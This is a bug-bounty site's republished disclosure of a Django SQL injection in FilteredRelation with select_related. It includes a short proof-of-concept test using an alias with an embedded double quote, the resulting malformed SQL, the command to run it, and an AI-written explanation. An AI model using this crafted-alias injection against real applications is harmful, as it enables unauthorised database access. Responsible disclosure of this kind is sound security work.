Skip to content
SQL injection Disclosed report Intermediate

SQL Injection when using FilteredRelation

A SQL injection exists in Django's FilteredRelation when used with select_related, via a crafted annotation alias, for users with access to select_related.

eyalsec Follow

Originally disclosed on HackerOne

Critical 10.0 View original
  • Triaged in 4 days
  • Fixed in 34 days
  • Disclosed after 38 days

Hi Django team :)

Vulnerability location: https://github.com/django/django/blob/main/tests/filtered_relation/tests.py#L124

You may create my POC function above the "test_select_related_foreign_key" function:

    def test_select_related_foreign_key_sqli(self):
        user_data = "author_join2\""

        qs = (
            Book.objects.annotate(**{
                user_data: FilteredRelation("author"),
        })
            .select_related(user_data)
        )

        qs._fetch_all()

SQL Query: SELECT "filtered_relation_book"."id", "filtered_relation_book"."title", "filtered_relation_book"."author_id", "filtered_relation_book"."editor_id", "filtered_relation_book"."number_editor", "filtered_relation_book"."editor_number", "filtered_relation_book"."state", author_join2"."id", author_join2"."name", author_join2"."content_type_id", author_join2"."object_id" FROM "filtered_relation_book" INNER JOIN "filtered_relation_author" author_join2" ON ("filtered_relation_book"."author_id" = author_join2"."id")

image.png
image.png From the original on HackerOne

To execute the SQLI you may run: python3 django/tests/runtests.py filtered_relation.tests.FilteredRelationTests.test_select_related_foreign_key_sqli

Impact

The impact is direct SQL Injection for any user with access to select_related( as above.

I hope you have a great day!!!

Eyal :)

The original report as published on HackerOne, by eyalsec. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the alias provided to FilteredRelation is not properly quoted or validated before being used in the generated SQL query.

What the attacker needed

Access to select_related method

How it was found

  1. Create a FilteredRelation with a crafted alias containing a double quote.
  2. Use that alias in select_related.
  3. Execute the query to trigger the SQL injection.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report shows a crafted field name can break out of the intended SQL when used with FilteredRelation and select_related.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by eyalsec

View all

3 more disclosed reports, best first.

More from Django

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.